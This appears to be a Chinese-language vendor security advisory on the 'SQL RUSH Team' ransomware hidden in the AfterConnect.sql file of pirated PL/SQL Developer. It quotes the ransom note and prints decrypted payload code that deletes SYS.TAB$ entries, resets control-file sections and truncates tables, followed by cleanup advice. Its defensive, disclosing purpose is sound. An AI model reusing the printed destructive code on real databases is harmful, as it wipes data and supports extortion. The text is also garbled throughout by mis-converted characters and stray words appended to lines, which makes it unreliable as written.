風險歷來都不是臆想和草木皆兵,就在你不經意的時刻,可能風險就忽然降臨到咱們的身邊。sql
近期,國內不少用戶的 Oracle 數據庫,忽然遭遇到莫名其妙的攻擊事件,你們種種猜想、揣摩、重試,引起了一次小小的數據恐慌。數據庫
在注意到這類安全事件以後,咱們第一時間投入分析、採集,最後找出了問題的根源,昨天已經發出了全面的預警和警示,今天再次詳述該類問題,與 Oracle 的用戶們共爲警醒。安全
最近問題的主要緣由是某些用戶下載了來源不明的數據庫管理工具,致使數據庫被感染。咱們強烈推薦你們提升版權意識,購買正版軟件,遠離風險,從規範作起。服務器
問題症狀:運維
不少用戶在錄數據庫時發現該問題,數據庫應用彈出"鎖死"提示,而且威脅說須要向黑客發送5個比特幣方可得到解鎖。工具
在客戶端,你可能得到相似的提示信息:開發工具
在數據庫受攻擊以後,在數據庫的告警日誌中,可能充斥以下信息:測試
ORA-00604: error occurred at recursive SQL level 1加密
ORA-20315: 你的數據庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致) 以後把你的Oracle SID郵寄地址 sqlrush@mail.com咱們將讓你知道如何解鎖你的數據庫 spa
Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
ORA-06512: at 「XXX.DBMS_CORE_INTERNAL ", line 27
ORA-06512: at line 2
這裏無非是一些警示和勒索,可是這兒 SQL RUSH Team,引起了你們的猜想,sqlrush @ mail.com ,這個地址 和 id 引起了對於始做俑者的猜想,固然事實不得而知。
問題緣由:
咱們經過有限的案例,詳細分析了問題的緣由和感染過程,在此披露出來,給 Oracle 的用戶們做爲參考。
注意:當一個問題研究清楚以後,就再也不會產生恐懼,恐懼來自於未知,在沒有遭到緣由以前,你們的各類猜想致使問題擴大化,如今能夠回到問題的本質上來了。
問題的根本緣由是:若是用戶從互聯網上下載了盜版的 PL/SQL Developer 工具後(尤爲是各類綠色版、破解版),就可能由於這個工具中招。因此這個問題和 Oracle 自己關係不大,也沒有注入那麼複雜。而是隨着你使用這個工具,用戶的權限就天然被附體的進行了入侵。
重要的問題要說三遍:盜版軟件害人!
PL/SQL Developer 在中國的流行程度和盜版程度毋庸置疑。這個軟件的安裝目錄存在一個腳本文件 AfterConnect.sql,這個腳本就是真正的問題所在。
正版軟件安裝,這個腳本文件是空文件,可是被注入的文件包含了一系列的JOB定義、存儲過程和觸發器定義,就是禍患的源頭。
受感染文件 - AfterConnect.sql 開頭是這樣的,假裝成一個 login.sql 的腳本內容,有清晰的註釋代碼:
實質內容,以加密方式展現,用戶看不到內容,可是能夠經過 unwrap 進行解密(可是注意那些解密程序不要存在惡意代碼):
無疑,黑客是很是瞭解 Oracle 數據庫的,其腳本代碼的核心部分,解密後以下(作了刪節,不要害人):
BEGIN
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);
FOR I IN 1..2046 LOOP
DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');
DBMS_SYSTEM.KSDWRT(2, '你的數據庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致) 以後把你的Oracle SID郵寄地址sqlrush@mail.com 咱們將讓你知道如何解鎖你的數據庫 ');
END LOOP;
END IF;
END;
請注意黑客的專業性,在程序的開端有如下部分判斷:
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
也就是,判斷數據庫建立時間大於1200天,纔開始動做(這個判斷至關有見地,小庫和新庫,數據少不重要,先放長線釣大魚),若是你的數據庫尚未爆發,那多是由於時間尚未到。
咱們強烈建議用戶檢查數據庫工具的使用狀況,避免使用來歷不明的工具產品。
咱們強烈建議:採用正版軟件,規避未知風險。
安全漏洞:
咱們知道,幾乎絕大多數數據庫的客戶端工具,在訪問數據庫時,均可以經過腳本進行必定的功能定義,而這些腳本每每就是安全問題的漏洞之一。本例的攻擊手段很是初級,可是也很是巧妙。
下載來源不明、漢化來歷不明、破解來歷不明的工具是數據庫管理大忌,如下列出了常見客戶端工具的腳本位置,須要引發注意:
SQL*Plus: glogin.sql / login.sql
TOAD : toad.ini
PLSQLdeveloper: login.sql / afterconnect.sql
咱們強烈建議用戶增強數據庫的權限管控、生產環境和測試環境隔離,嚴格管控開發和運維工具。
處置建議:
這個攻擊是經過 JOB、觸發器、存儲過程 來協同工具的,因此若是數據庫遭遇到這個問題,能夠將 JOB 參數 job_queue_processes 設置爲 0 ,屏蔽掉 JOB 的執行,而後重啓數據庫。能夠清除注入對象,這些對象可能包括如下同名觸發器和存儲過程:
PROCEDURE "DBMS_CORE_INTERNAL "
PROCEDURE "DBMS_SYSTEM_INTERNAL "
PROCEDURE "DBMS_SUPPORT_INTERNAL "
而攻擊的核心代碼還包括,這會 Truncate 數據表:
STAT:='truncate table '||USER||'.'||I.TABLE_NAME;
若是您的數據庫已經遭受攻擊和數據損失,能夠緊急聯繫雲和恩墨的服務團隊,咱們能夠幫助您處理數據修復事宜。雲和恩墨久經考驗的ODU產品,能夠在數據丟失後最大限度的恢復數據。雲和恩墨的自動化巡檢工具:Bethune(白求恩),內置一項檢查,訪問來源、訪問工具分析,能夠幫助用戶梳理清楚你的數據庫使用狀況。別猶豫,去 https://bethune.enmotech.com 看看,不收錢。
事件回顧:
2015年9月,XcodeGhost入侵蘋果iOS事件在業內引發不小震動。事件原由爲不知名黑客向iOS應用開發工具Xcode植入惡意程序,經過網盤和論壇上傳播,被感染的App並以此劫持蘋果用戶相關信息。來自多個安全團隊數據顯示,病毒感染波及AppStore下載量最高的5000個App其中的76個,保守估計受影響用戶數超過一億。
2012年2月,中文版putty等SSH遠程管理工具被曝出存在後門,該後門會自動竊取管理員所輸入的SSH用戶名與口令,並將其發送至指定服務器上。